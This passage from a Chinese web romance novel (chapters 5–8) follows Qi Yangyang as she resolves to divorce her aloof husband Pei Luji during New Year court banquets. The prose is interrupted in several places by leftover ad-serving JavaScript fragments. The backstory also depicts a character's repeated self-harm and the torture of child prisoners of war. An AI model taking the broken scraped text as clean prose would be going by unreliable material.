裴陆戟缓步,冰渣子似的俊脸在这森严的牢狱里,莫名让人望而却步。 他冷淡地回眸,“不过是一些替她分析权衡的话罢了。” 张白石又道:“以前我只知道少仲兄除了办案神速,还擅长权衡大局,每次的选择都能替大理寺顺利渡过一个个难关,但是这一次,少仲兄为何要花心思替一个妇人翻案?” “碍着你了?”裴陆戟懒得搭理,转身离开。 邢部的人听闻今日大理寺不但不曾给夏氏刑讯,还要推翻之前邢部查出的证据,很是生气,同吴氏的人在宴席上大肆给裴陆戟参了一本。 太子不满裴陆戟的行为,宴罢私下找了他。 太子找完他,昌华公主便在殿外求见。 太 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子的脸色稍稍变好,对他道:“昌华是这些姐妹中,孤最疼爱的一位妹妹,你好好待人家,今夜别回府了吧,留在东宫,孤让你和昌华多培养感情。” · 距离宵禁还有不到两刻了,戚央央还坐在院中等着等着差些睡着。 她今日一日帮着甄氏去看新年新订的一批料子,然后看厨房的采买单子,同府里的管事们一同研究新年那几天家宴的菜式,又跑酒楼里尝试新菜,忙到连晚膳都差点忘了吃。 后来甄氏特意打包了奇香楼的香酥鸡到城外自家的庄铺去给她送饭,她才惊觉天色已晚。 “不好了,母亲,儿媳答应过郎君,今日要早些回府等他回来,儿媳来不及了,回府再吃!” 甄氏心疼不已,“傻孩子,他让你等他,你就饭也不吃赶回去,可他爽你约的时候还少吗?你赶回去了,若是他爽约了呢?” “以后不会了,”戚央央还是像以往一样的笑,“就算他真的又爽约,那是他的事,儿媳遵守约定那是儿媳的事,儿媳只要守好约定,问心无愧了就好,他来不来也没有关系。” 甄氏忽略了她说话态度上细微的变化,还以为她像往常一样,爱极了裴陆戟,还在纵容姑息着他对自己的冷淡和随意。 摇了摇头,“这孩子真可怜,都怪我。” 宫里派了人来给裴少夫人交代,裴大人酒醉,今夜宿在东宫。 那公公身后有几个小太监对裴少夫人流露出怜悯之色。 “既如此,请公公替臣妇谢过太子殿下,那今夜就劳烦殿下和公公照顾郎君了。” 戚央央一副温婉大家妇的风范道。 这些年她为了更能配得上裴陆戟,咬咬牙把自己年少那些冲动劲和莽撞行为都改了,甚至为了警醒自己的行为,她用绳子绑着自己走路足足一年,那一年里,她摔得皮青脸肿,身上就没有一处是完好的,这才能在表面上勉强骗得了人。 那公公来传了话就要走,有个小太监于心不忍,趁公公不留意偷偷在戚氏耳边说了一句: “裴大人是在宫中同昌华公主一起。” 戚央央脸上笑意不减,只是眼瞳骤然一黯。 等笑着送完宫里的人,她走回鹿鸣苑的路上,突然失笑地同如兰道了一句:“本想今日同他说的,结果他好像急不可耐了,连个交代的流程都顾不及走完。” “不过好像也不能完全怪他呢,毕竟一开始是我死皮赖脸缠上去的。” 戚央央笑道。 而此时,裴陆戟正在赶回府的路上,因为半道宵禁了,五城兵马司的人要看令牌才能放行,他不欲闹起大动静,只能放走了马徒步,在巷子口偷摸着回去。 等他回到府里,发现今夜连鹿鸣苑院门前挂的宫灯都熄灭了。 他在院门前静站了一会,脸色越发阴沉得厉害。 一旁的修竹瑟瑟发抖,胆寒道:“许是...许是少夫人忘...忘了,小的马上让人通传...” “不必,走,回衙门。” 他黑着脸往外走了几步,又转回来咬牙告诫修竹道:“万勿告诉她我回来过,听见没有!” “是...是...”修竹点头如捣。 5. 第5章 昨夜在东宫,太子想留下裴陆戟同昌华公主好好培养感情,都已经安排好宫人替他回府同夫人交代了,可裴陆戟还是找借口跑了,留下昌华脸色不虞。 太子安抚好这个皇妹,对裴陆戟很是不满,却又拿不了他怎么办。 大年三十这天本来官员是休沐的,昨夜宫里来了人,于是,戚央央只当他是在东宫陪着昌华公主未回。 祭祖的时候,甄氏问了一句,她还替他掩瞒道:“郎君衙门有急务要处理,昨夜天不亮就返回衙门了。” 英国公听了也皱眉:“就算衙门再忙,今日三十祭祖的日子也不能不来啊!” 他话没多久,裴陆戟就回来了,一身昨夜未脱的官袍。 “怎么现在才回?赶紧下去换衣裳再来!”英国公道。 “儿臣昨天处理夏氏杀夫一案,上头有压力,让我们尽快完结案子,所以待在衙门睡了,早上遇贩夫撒了鸡鸭苗,兵马司在工作,路面有点堵塞。” 甄氏一愣,“央央不是说你大早上才出门的吗?” 裴陆戟往戚央央的方向看了一眼,央央笑了笑又道:“可能...儿媳昨夜早睡,睡得晕迷糊了,听见屋里有动静以为郎君回来过,这么说来,儿媳昨日好像是有接到郎君派人来传话说晚上不回,儿媳给忘了。” 甄氏不赞许地看了央央一眼,恨铁不成钢地“啧”了一声。 裴陆戟则冷笑了一声。 他更换完衣裳,站回戚央央旁边,央央笑着给他递来三支点燃的香。 “郎君好好祭拜,年三十给祖先许下的愿可灵验了,先祖定会保佑郎君未来一年里平安顺遂,心想事成的。”她笑容璀璨得像春日的阳光。 可裴陆戟一想到自己昨夜睡在衙门直房那张又冷又硬的小榻上,而她高床暖枕早早歇下连灯都不留一盏的情景,心里就憋得慌,出口的话就不知不觉犯冲了些:“夫人对我可真是‘真心实意’啊,光想着让我平安顺遂,心想事成了,倒是我疏忽夫人了,昨夜可没让夫人白等吧?” 戚央央没听出他话语里的揶揄,只是轻轻一笑道:“你好像...第一次喊我夫人,成亲那么久,你要么叫我戚氏,要么叫戚央央,从没喊过我一声夫人呢。” 裴陆戟一怔。 她又道:“昨夜你派人来同我说了之后,我就熄灯睡觉了,倒是没等很久。” “我派人?”他轻蹙眉头,但很快就想明白,也没往下问。 祭完祖后,戚央央本以为裴陆戟会唤她过去说昨夜未曾说的事,谁知她见他在葡萄架下同人说话,刚要走前去,一个晃眼就消失不见了。 之后问过府里的人,都没有人知道他上哪去,修竹也不在。 戚央央拖着繁重的礼服逛遍了一整个国公府,大冷天里热得汗都出来了,如兰看不下去,拉住主子道:“少夫人,你才刚好没多久,有什么事情世子想找你说,自然就会来找你了,还用得着少夫人亲自找他吗?” “奴婢看世子就是急着进宫陪那什么公主去了!连待会的家宴也不参加,他就那么着急吗?”向来安分的婢子这会也忍不住跺脚抱屈道。 “世子要陪什么公主?”一声响若洪钟的声音从廊道口传来,是浓眉白须的英国公。 婢子和戚央央都愣了。 “父亲。”央央给英国公屈身行礼后,缓缓笑开道:“是父亲听错了,儿媳跟如兰刚刚是在聊起郎君要回宫里给太子辅导政务上的事,宫中那些公主们也被太子抓去一道让郎君辅导诗词了。” 英国公蹙了蹙眉,脸上写满不信。 随后捋着胡子缓缓开口:“央央啊,你十岁不到就来国公府了,我和你姨母是把你当亲闺女疼的,戟儿那家伙我是知道他性子的,他就仗着你善良好欺,老是欺负你,你要是受委屈了,别不同父亲说啊。” “看我不揍死那臭小子!” 戚央央笑,“父亲过虑了,还真没有。” “待会开宴,母亲现在一定忙不过来了,儿媳这就去帮她。” 说完,她一礼后,拉上如兰就走。 如兰却还在愤懑,“少夫人,你咋不同国公爷说啊,还要替世子隐瞒,这国公府下人口中都传遍了,世子他要...” “如兰!”戚央央停下来斥她,“你去把那些乱说话乱嚼舌根的下人给找出来,这里是国公府,说话做事是有规矩的,今儿不罚,还像什么样了?” “少夫人,可是...”如兰委屈。 “你也不准胡说。”她用美眸瞪了她一眼。 见如兰应“是”后,低落地转身,她叹息一口气道:“我知道,你是觉得我在自欺欺人,以为府里的人不说,世子就不会娶公主,但我真的没有这样想,世子他既然决心要娶,我也绝没有阻拦的意思...” “少夫人!你怎么能...”如兰泪眼汪汪。 “我那不是傻,”戚央央继续道,“是知道阻拦没有用,他本来娶我的时候就不是情愿的,只是那时候我比较傻,以为凡事只要费尽全力去争取,就总能看见希望,但现在我知道自己错了。” “所以,他想另娶别人,我没有任何意见,这也是我现在着急找他说清楚的原因。” “感情,终究还是强求不得啊...”她哀叹道。 到国公府的第一年,她第一次看见裴陆戟的时候,他正穿着一袭青色绣白鹇补子的学士袍,在廊下投影下一片少年隽秀修长的身影。 那时的裴陆戟,眼底是一滩幽漆无澜的死水,年纪尚轻,竟然在他身上没有看见任何少年人的精气神,他像一尊废庙里被人抛弃的破烂神像。 他在廊下走过的时候,她几乎是第一眼,就认出了他腰上系的那块鱼鳞纹玉佩。 她七岁那年,被敌军抓去羌北的活死人墓,一个同样被羌北兵抓去那里的小哥哥救了她,把逃出去的机会让给了她,她承诺小哥哥自己出去了一定会叫爹娘带兵回来救他,于是便把自己随身带着的玉佩系在了他腰间。 就是这块鱼鳞纹玉佩。 可是,那次出去之后,她不小心从小山丘滚落,磕了头,醒来后短暂地失去记忆,后来等想起来让爹娘去救的时候已经晚了。 听说羌北兵把活死人墓里的大小战俘,折腾得可惨烈。他们为了动摇晋兵的军心,把战俘拉到战壕外充当“人肉壁垒”,晋兵不敢动,那些可恶的羌北兵便用烧红的铁鞭去抽打这些人,让其发出惨叫,好逼迫他们的大将军出城来谈判。 夜里,这些战俘就被铁索牵着锁回那个黑漆幽暗的活死人墓里,那里又阴又潮,夜里冷得可怕,遍地都是些饿死的、被折磨死的战俘尸骨,一股子恶臭腐烂味。 那时戚央央被抓去也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在里头待过一阵,那是个比炼狱还要可怕的地方,到了夜里整个墓穴里都是哭嚎声,人在里头带上一阵子不死也会疯的。 那年她才七岁,在漏光的洞道口,被几截腐烂的肢体和一双血丝浮突的眼珠给吓得蹲在原地哭。 然后,一位比她大几岁的小哥哥浑身血污从死人堆里爬出来,看见她在哭,第一时间跑过去将她拉了起来。 “我带你看些东西,你不要哭。” 然后,小央央便被他拉到另外一个穴室,那里也堆满了横七竖八的尸块,顶部三个透气孔漏出一点点光,她看见有些尸块都烂成枯枝一样的骨头了,她吓得忍不住往小哥哥身后瑟缩了一下。 小哥哥笑着拍拍她肩膀,“别怕,有我呢。” 然后,他小心地拨开一个墙角上的尸块,唤她过来看。 “快,过来看!” 然后,央央她在零星漏出的光晕下,看见了在腐烂尸堆里,竟盛放着一朵鹅黄色的花。 那花的花瓣上还带着绒毛,乍然看去,就像蒙了一层光辉一样,一下子把那颗万念俱灰的心照亮了,有股酸涩涌上鼻头。 “本来它长在墓道口那边,就是你刚刚那位置附近,我发现它的时候,一位士兵差点将它踩坏,我救了它,牙齿是那时候被踹掉的,背部也挨了几脚。” “后来,我把它移到这里,天天找水给它浇灌。” 时间过去了很久,加上她之前头部受过伤,许多细节已经记不得太清了,可那朵开在墓室里带给她希望和温暖的鹅黄小花,和男孩轻轻一笑露出缺口的牙,她依然记得很清楚。 当年在墓穴里帮助过她许多,带给她温暖和希望的小哥哥,那时,他还会用背脊去保护一朵偶尔长在死人堆里的花,绝境中依然乐观,有着一颗对生命充满了热切的心的人,如今竟然变成了这副看一眼都让人觉得压抑得慌的死沉。 表面看来他是光鲜的,生在簪缨世家最鼎盛的裴家,才学才干也受朝中诸臣赞叹,是名臣喻鸿辉亲自挑选出来的唯一入室弟子,年纪小小还为大晋和羌北的战事中立过功。 要不是年纪尚轻,皇帝怕他资历不足,加之他刚从羌北回来那会身体状态和精神状态都不大好,皇帝这才暂时安排了个相对清静事少适合养病的职务给他。 但实际上,他病发起来的时候,会一次又一次用利器刺自己,把自己刺得鲜血淋漓,那时府里已经不许出现一切带尖锐的东西了,就连墙角都被打磨圆润,府里人一律不得戴簪。 然后,他开始用自己尖利的牙齿,企图把自己身体咬出个血流不止的窟窿,流血至死才肯罢休。 仿佛只有疼痛,才能让他暂时从十岁那年那场灾难中,缓解一下。 戚央央既心疼又愧疚,倘若不是他把唯一能逃出去的机会给了她,最后她又忘记承诺回来救他,他就不用遭受后面的那些折磨,原本那样温暖阳光的人骤然变成这样。 她觉得,是她亏欠了他。 所以那段时间,她一直不敢跟他提在羌北的事,见他不认得她,加之姨母又告诉她,不能跟他说一切关于羌北的事,她这才一直不提,一直默默地对他好,来弥补。 到后来,她慢慢地就觉得,这个她罩着长大的少年,看着他一日日从不爱待见人,到慢慢能跟她说一两个字的对话,她想永远陪着他。 6. 第6章 说是由怜生爱也好,是日久生情习惯了也罢,反正当她第一次意识到自己以后要嫁人,是会离开国公府的时候,她第一反应是,不想离开她的裴哥哥。 若换作以前她爹娘还在的时候,她一介寒门军户之女,也是配不得他这种世家大族的世子的,就更别说她只是一介孤女了。 外面的人看着她成天缀在他身后追赶,也只是把她当成是裴陆戟的丫鬟、婢仆一样的存在,或者在看她笑话。 可那时候她太天真,总以为只要两情相悦,能朝朝暮暮在一起就行,她不在意世俗眼光,也不在意用什么身份陪在他身边。 而问题是,人家裴世子压根就不喜欢她,不管她付出多么大的努力。 “少夫人,家宴要开始了,徐州柳阳的裴家人和京州从绫的裴家人都已经来了,世子不在,夫人叫你一起过去接待一下。” 甄氏屋里的婢子洛香过来催促道。 戚央央“欸”地应了一声,就提了提裙裾转身往宴宾的月葵园去。 徐州柳阳的裴家从前在夏朝时便先后出过多位宰相和名臣,是所有裴氏人的老本家,在旧都乃及后来搬迁的徐州都拥有很大的民望声望,即便如今渐渐低调,慢慢地就不及京城英国公府的这支,但也曾在多次灾患、蝗祸时出手,依旧深受百姓敬重,朝廷也不敢怠慢。 京州从绫的这一支则是英国公的祖父那一辈才分出去的,隔得比较近,平日里除了除夕这天,节日里也多有来往,比较亲近。 柳阳的裴家人是最考究,而且规矩最多最严肃的,裴陆戟在的话,大多时候甄氏只需要在后方做些接待就可以了,可这会儿他不在,甄氏就发憷了,不得不拉着央央一起上。 “你父亲已经在前厅接待柳阳那位三叔公了,我们只要好好招待你那些婶娘和公子就可以了。” 甄氏的手水里捞过似的,冰凉凉地摸了摸戚央央的手,喃喃了几句“别怕”,又拍拍她手背,手更凉了。 戚央央忍不住笑了,反握她手道:“不过家宴罢了,母亲无须紧张。” 甄氏轻扫了扫鬓发,拿眼神嗔她,“你又不是不知道,你母亲以前多不招柳阳那些裴家人待见的,他们都觉得我门户低,就算当继室,也配不上你父亲,他们家的那些规矩哦,比天上繁星地上牛毛都多,什么握酒杯握一半,笑不露齿,走路衣摆不动的,你母亲我进宫拜见圣上都没这么讲究。” “也怪你父亲那一辈人丁单薄,但凡有个兄弟什么的,有妯娌同我一起承担,他们也就不能总把目光往我身上放,待会你可要好好表现,别给母亲丢脸啊。”甄氏拍拍她道。 说完她嘴里又嘟囔道,“平日我参宴也不少了,就没哪位夫人说过我礼数不足的...” 戚央央目光流露出羡色,叹道:“也就父亲宠爱母亲,纵容母亲平日里所有行举,京中的那些世家夫人不看僧脸看佛脸,有父亲在,哪个敢说母亲的不是?” 甄氏一听,心里乐开花,也一看儿媳落寞的眼神,又赶紧安慰:“其实,戟儿他只是榆木脑袋,不开窍,男人这方面领悟力很慢的,可来日方长,以后他一定能知道你的好。” “再说了,”她笑着再拍央央手背时,手心已经热乎了,“我们央央这么厉害,无论多繁复的规矩都背得滚瓜烂熟,仪态什么的更是无可挑剔,哪用得着别人兜底?” 戚央央笑了笑,回身后笑容落了下来。 姨母她好像忘记了,以前她刚来时,也是脱缰小野马一匹,整日里不知天高地厚地跟世家子弟干架,可后来,她为了要嫁裴陆戟,大冷天头上顶着水缸在背裴氏家规,不吃不喝勤练仪态。 要是可以,她好像...也挺希望有人帮她兜底的。 去到花厅才知道,柳阳那位不苟言笑的三叔婆这次也来了。 虽然那位三叔婆看见甄氏后脸上一堆密云,但好在戚央央的表现还是让她满意。 见三叔婆和几个婶娘纷纷对央央赞不绝口,甄氏终于松一口气,觉得压在自己这里的气,终于通过自己儿媳扬眉吐气了。 虽然裴陆戟缺席,但宴席办得很圆满,裴氏大家族相处融洽。 可是后来,央央去水房交待丫鬟做事的时候,偶然间听见柳阳的一个婶娘跑去同从绫的一个叔母聊天的对话。 “我婆母今日见戟儿那孩子不在,嘱我来问问,世子即将尚公主的事是不是真的?” 从绫的叔母看了看四周,见无人才敢道:“我们有人在宫中办事,好像是真的,裴家同秦家都是大世家,早该联合一起了,就国公爷那么傻,让世子头婚娶了那破落户的女儿!” “好在现在世子领悟也不晚,小门户家的女儿,就算装得再像大家妇,也还是小门户啊,哪能跟秦家的公主相比?” “看世子今日连家宴也不来了,分明是不想再在这种场合站在那破落户女旁边了,是要向秦家那边表态度,这还不能证明一切吗?” “依我看,不消这几天,就会有婚事的消息下来了。” “国公爷也不知道怎么想的,以前崔氏好歹也是大世家,有头有脸的,崔家人如今式微了,看不见就罢了,要是戟儿的外祖还在,知道他给戟儿娶那么个甄氏当继室,又逼他娶甄氏的甥女,那是肯定要反对的。” “他这个当爹的不替儿子谋划,好在世子是个有能耐的,秦家人看上他。” “甄氏一个下不了蛋的母鸡,想用一个破落户的甥女帮自己稳固地位,简直异想天开!” 戚央央背靠墙壁,最后叹息一声默默离开,这些年,其实她听见类似的声音并不少,从前懒得理,如今也懒理。 · 晚上,宫里的宴席即将要开始,裴陆戟还没回去,英国公夫妇就捎上儿媳赴宫宴了。 来之前,戚央央犹豫道:“父亲,母亲,今年...儿媳就不参加了吧?” 英国公皱了皱眉,“是不是那臭小子不许你来?别怕,有父亲在,给你做主!” “不...不是,”央央她欲言又止,是她今日想着同裴陆戟之间的事,欠缺考虑了,连忙补救道:“儿媳只是...只是听说今年太皇太后闭关出来,怕做错事说错话会惹太皇太后不高兴,有些害怕罢了。” “别怕,太皇太后只是对陛下和臣子严厉,私底下其实很随和。” 英国公和甄氏笑着宽慰她几句,就拉她上车。 央央见躲不过,只好叹息着跟上。 是她糊涂了,差点又该害郎君挨骂 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,不过,若是她能早点听见两位裴家的叔母说的话,应就会早一点让自己“病倒”,避过这场宫宴。 毕竟,郎君为了向秦家表态度,都不惜怠慢家宴中的长辈不出席了,也故意拖到宫宴开始也不回来同她一块赴宴,她不知道也就罢了,知道了还这么死皮赖脸,害了他的事,那... 央央决定,待会宴会上遇见他,还是赶紧同他聊聊和离之事,然后赶紧回去吧。 娶她时他是被逼的,说起来她做的一切都是自己一厢情愿,上赶着对他好,却罔顾他对自己一次又一次的拒绝。 是她不对,以后,她再也不会了。 来到宴席上,入座了好一会,才看见裴陆戟身穿官袍从宫道那边同一群臣子一起走过来。 本以为他看见自己会一脸不耐,不料他只是微微惊讶了一下,就同旁边的同僚说“我夫人来了”,然后走过来,在她旁边的座位上坐定。 戚央央和他同时沉默了一会儿,最终两人同时鼓起勇气道: “对不起我不该来...” “对不起我晚了...” 裴陆戟敏锐地停了下来,眼神钩子似的盯着她,“你说什么?是又想拿乔,拿父亲母亲压我是吗?” 央央就知道他会误会,幸好刚才在父亲面前及时圆了回来,但到底还是惹他不高兴了。 “我没有要拿乔,这次是真的想好好同你聊一聊。” “巧了,我也有事找你谈。” 戚央央想起昨天一早婢女同她说,世子有两件事要同她说,让她晚上等他回来的事。 “好,那郎君你先说吧。” 裴陆戟本来没去府里接她过来,心里很是愧疚和沉重,可现在看见她毫不在意的样子,不知为何心里窜了股气,在腔里四下流窜着,很是难受。 于是,就想让她也难受难受。 “我要娶别人了。” “嗯。” 戚央央接受这事的速度快得让他咂舌,那股邪气不但消不掉,还继续在他胸腔里越发憋闷。 “戚央央你...嗯是什么意思?你愿意了?接受了?还是在憋什么大招?”他黑着脸。 “没憋什么大招,就是知道了,我也有话想对你说。” “你要说什么?”宴席上觥筹交错的声音,让他有些烦躁不安,伸手拿起桌上的酒杯,自顾自倒酒。 央央吸一口气,“就是和离的事。你要另娶我早就知道了,这些日子也想明白了,决定不再纠缠你,和离吧。” “砰”的一声,酒杯碎裂的声音从席间传出,很快就被周遭欢乐的声音淹没,有宫人赶紧躬身过来拾捡。 戚央央下意识想上前察看他手心的伤势,却被他一甩手上的酒水和血液,随即把手垂到另外一边。 他自此不再同她谈那第二件事了,此后宴席好长一段时间里,他连侧眼看她一眼都不肯,脸上始终绷着。 看出他不高兴,戚央央也不想再腆着脸去哄,毕竟,人家以后就是别人的夫君了,她一个准前妻,就别做那种让准新妇不高兴的事了。 她朝公主的席间看去,果然,从裴陆戟捏碎杯子开始,昌华公主就一直朝这边望来呢。 还好她机灵。 7. 第7章 手心上的血一直滴滴答答地混合着酒往下流,很快地上就蜿蜒出一小片暗色。 旁座户部的梅大人看得心惊,慌忙递过一方帕子:“裴大人,要不还是先包扎一下...吧?” 裴陆戟又变回十年前那个,浑身阴郁死气的裴陆戟。 梅大人不小心看了他一眼后,吓得帕子掉了,酒桌上的酒水、热菜撒了一地,旁边刚捡完酒杯碎片的宫婢赶紧接着来捡。 “慌什么?这么大个人还毛毛躁躁的,没得被别人笑话!”梅大人那位小娇妻在旁低声嗔他。 梅大人心神还没敛回来,看着裴陆戟那双死人般的眼睛牙齿打震:“他他他他他...” “他眼眼睛里没魂了!死死死...死了...” 梅夫人架不住好奇,不顾礼节探身而望,随后狠捶了梅大人心口一下,“做什么咒人死!人好着呢!” 梅大人忍住内心恐惧,以袖拂面匆匆望了一眼,终于放下袖子,大汗淋漓。 倒是奇了怪了,刚刚明明... 往后好长一段时间里,梅大人都不敢回想起这天夜晚看见的裴陆戟的眼睛,空洞得让人头皮发麻,哪怕只有一瞬。 裴陆戟慢慢笑了开来,依旧没理会手上的伤口,拿过宫婢新换过来的玉瓷杯,一杯接一杯给自己倒。 三、四杯酒水下肚之后,他敛眉低头看手边的杯沿,放轻了声音:“以为这样说,我就会放弃娶吗?你那也未免太看得起自己了...” 又仰头一杯酒下肚,绯红袖袍揩拭掉嘴边酒液,唇角微勾,“你本来身份就和我不配,你不觉得这些年我娶了你,旁边的人都替我惋惜吗?” “我裴家是百年大世家,不论是前朝,还是现在,都是百姓心目中当之无愧的大族,国可无君,不可无裴家,我裴陆戟不说资质,就单身份这一点,也是要和大族里的女子才相配,婚后才能相得益彰,堪以共同进退,将来自当要共谋广阔天地,谋前程事业,而你呢?你出现算什么?” 他的声音冷傲又孤高,很容易让人忽略他尾音的震颤, “你是要坏了我的事情的,绝对,你还荒谬地觉得,喜欢就要嫁给我是吗?你那是同你姨母一起...” “所以,我知道了呀。”央央打断他,很认真地直视他的笑,“就算当年姨母拿肚子里流掉的孩子做筹码,逼父亲让我嫁你,我也不该就那么轻易妥协的,我很自私地祸害了你五年,现在我知道错了。” “你...”裴陆戟脸上的笑容渐渐挂不住,捏着酒杯继续一杯接一杯喝。 “和离...你真的是认真的?” 央央笑:“是真的,当然,这过程中母亲那一关,可能会有些小麻烦,但我相信只要我坚定的话,这些都不是事,你都已经决定了要娶别人了,我总不能明知你厌烦我,却还要霸占着正妻的位置。” “其实你说的对,我确实不配,哪来的厚脸皮啊,敢当你五年的妻子。” 她轻松地笑了起来,“我这也算最后关头给自己留脸面,不用等你降妾或休妻,也知好歹了是不是?” 裴陆戟欲言又止,握紧拳头。 其实他还想说,他从没想过将她降妾或者休妻,从来没有。 但看着她轻松笑起来的表情,仿佛把过往的一切都轻轻松松抛开了,他又牙痒得实在说不出来。 把事情说出来虽然心里空落了一块,但戚央央觉得,总算是鼓起勇气了结了这一桩本早该去做的事了。 她决定暂时先不管昌华公主了,反正她现在还没和离,他们婚事也还没公布,她现在还是他的夫人,那她就最后一次宠一宠心上人,当热虾端来的时候,她主动给裴陆戟剥起了虾。 “郎君,你平日里不爱吃肉,那就要多吃点虾啊,虾能生发阳气,最好跟虾眼一起吃,帮助运化,吃了人很容易开心,沾点酱和香油吃最好...” 她像往日里一样,一个劲地往他碗里摆放菜肴,一边叭叭着小嘴哄他吃饭,嘴里仿佛有说不尽的话。 裴陆戟不想搭理她,她夹过来的菜都被他扔桌下喂宫廷犬了,可她仿佛习惯了一样,完全不恼,依然笑着不依不挠地给他夹。 因为她认为,人只要能笑,就千万别哭,不能气馁,他与她和离了以后,他也还是她心目中永远的裴哥哥,无所不能、拯救过她出水火的神。 心里暗暗地喜欢着,不要惊扰到任何人,就好。 英国公夫妇俩在对面看着他们那一桌的气氛逐渐融洽,欣慰不已,却不知,二人已经私底下谈过别离了。 一杯浊酒下肚,戚央央被呛得满脸满腔都充斥着辛辣,裴陆戟在旁默默地注视着她。 “若你不想和离,那就说服你姨母以后不要再干涉我们之间的事,我可以考虑...” “不用了,”戚央央夺过他手里的酒,一顷而下,小脸越发艳丽,笑:“受伤了别喝太多酒,我替你喝...” 一个滴酒不沾、沾酒就醉的酒鬼,要替他喝酒... 宴席差不多结束的时候,太子殿下和昌华公主从臣座领了一个年轻妇人过来,同他夫妻二人喝酒,戚央央也是笑得荼蘼一片,天上彩霞似的,“喝!太子殿下喝!” 站在太子身后的美貌年轻妇人一直沉默着。 “昌华...昌华妹妹我们也喝!” “太子...太子殿下,我...我郎君智谋双、双全!为大晋立...立过功劳人...人长得美...美,你...你娶了我郎君,不、不亏!” “我和离!让你娶!” 小醉猫醉倒大酒缸里,失了往日大家妇的风范,出奇地变得娇俏顽劣可爱起来。 “好、孤娶,孤娶。”太子尴尬地笑着,顺和着要接下她醉醺醺强行塞来的她和世子的定亲玉佩。 快将接到手的时候,那玉佩“嗖”一下被裴陆戟拿走,小醉猫就被拦腰抱了起来。 “殿下,内子醉了,臣要先行送她回府,告退了。” 裴陆戟平日里一个多理智沉稳的人,难得也会有心神慌乱的时候,他面上虽然不显,但太子鲜少看见他这样自持的人跟着喝那么多的酒。 而且他留意到刚刚他不过是觉得裴少夫人醉酒的样子好笑,多看了一眼,裴陆戟就立马上前横在他面前,用身体挡住他视线,还一把抢回玉佩,二话不说把人抱走。 第二天戚央央酒醒的时候,意识到自己睡过头了,慌忙唤起如兰进来帮她梳洗。 大年初一的早上,身为儿媳的她是得早早去给公爹、婆母拜年上供的,即便在国公府 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 父亲、母亲都很宠她,但礼数不可废,她一日还没和裴陆戟和离,一日也还得遵守裴家的礼。 如兰进来,见她着急的样子,笑道:“少夫人,国公爷和国公夫人早早派人来交代了,今日不必少夫人和世子早起拜见,少夫人可多睡会。” “少夫人,你昨夜和世子爷...” 如兰和其他婢女一脸兴奋又期待的样子看着戚央央,戚央央一时之间倒有些懵了。 “我和世子?我和世子怎么了?你们知道了?”她一脸疑惑。 听少夫人这么一说,如兰便知有戏,高兴道:“太好了,少夫人!奴婢们真替你高兴啊!昨夜世子是抱着你回来的,把你抱回鹿鸣苑后,就一直没出房间,早上一早才出去的,国公爷和国公夫人知道了之后,不知道多高兴,知道昨夜少夫人酒醉肯定难受,立马派人来告诉,不让少夫人你早起。” 戚央央感觉脑袋沉沉的,听着如兰七嘴八舌的声音,耳朵有些嗡嗡,昨夜的一些记忆也慢慢回拢。 昨日除夕的夜宴,繁华绚丽,热闹欢庆,她不知不觉就喝多了酒,随后听多了旁桌的人偷偷在讨论,裴世子和秦家大姑娘,秦兰沁的一段情。 裴陆戟和秦兰沁的事,她是了解的,毕竟那时候她已经来国公府了,年仅十三岁的裴陆戟和同龄的秦兰沁已经时常出双入对,少年少女都长得俊,且才学极高,是当时京城公认的极为匹配的一对金童玉女。 除了裴陆戟这人看起来冷一些,本身不爱说话外,二人倒是感情挺好。而他虽抗拒旁人靠近,却由着秦兰沁在旁,这就足以说明,秦兰沁在他心中不一般了。 那时候,戚央央整日看着二人出入国公府,大多是秦兰沁来找他,但裴陆戟并没有拒绝,俊男美女时常在府里那青葱园里一待就是一整天。 在里面赏兰花、作画、诗词歌赋,就算光拿本书,二人也能一起坐着看一整天,一点也不厌。 那时府里的人就告诉她,秦大姑娘是先国公夫人崔氏在生前,给世子定下的未婚妻,二人青梅竹马长大,感情好得很,后来世子去了羌北,生死未卜,秦大姑娘就时常过来国公府陪着崔氏,日后等二人到了年龄就立马要成亲的。 那时候看来,裴家、秦家、崔家,都是京城数一数二的大世家,秦大姑娘又有才情,与裴陆戟是天造地设的一对。 可是后来,不知道什么缘故,秦家突然来退了婚。 之后,裴陆戟就变得性子更独了。 戚央央一直都知道裴陆戟喜欢兰花,所以,她给他绣的帕子、荷包、香囊,乃及手炉上的绒套,都被她绣成各种各样姿态的兰。 她知道自己只是一朵偶然落到肥沃土地里的小野菊,永远比不上价值连城的兰。 就算裴陆戟娶的是秦兰沁的表妹昌华公主,她也知道他只是觉得昌华公主同他身份相配,只是合适,但如果是秦兰沁的话,那就是天雷勾动地火了。 昨夜她终于从他口中听得,他要“另娶”他人的话了,只是没想到,他要娶的那个人不是传言中的秦家的公主,而是秦家刚刚绝婚回来的秦大姑娘,秦兰沁。 年少因为种种原因,不能相守的少年恋人,终究还是走到了一起。 戚央央庆幸的同时,又感觉有种淡淡的失落。 8. 第8章 戚央央找了几遍,依然没找到那块青色的雕刻着兰花图样的玉佩。 “怪了,难不成昨夜掉在宫里了吗?” 嘱婢子们在院里找了好久后,她着急道。 也不是她想在意,而是那其实是她和裴陆戟定亲的信物,如果要和离的话,那是要交还的,如今玉佩不见了,她拿什么还呢? “玉佩上的绳结是奴婢亲自给少夫人系的,如果没有刻意去解开,肯定掉不了,少夫人是不是自己把它解开了?”如兰问。 戚央央挠着酒醒后疼痛的脑袋,“我...我想不起来了啊...” “依奴婢看,那玉佩本来就是旧物,当年世子和秦家退婚后,也没给少夫人重新置办信的信物,随手就把旧物拿来敷衍,现在既然已经不见了,少夫人大可趁机让世子给重新置办新的。” 如兰道, “反正信物也就平常戴戴,不戴也行,不用不和离什么的,也不必交还,掉了就掉了,就当骨血相溶,信物化连理骨了。” 央央苦笑,这丫头好像误会什么了。 今日大年初一,裴陆戟进宫朝拜皇帝后,很早就回府了。 大理寺衙门有三日休沐,期间不能回衙门,他就算再想工作,也不得不带上公务回府。 他回来的时候,戚央央已经站在他书房外的廊庑下等候多时了。 “你在这里...等我?” 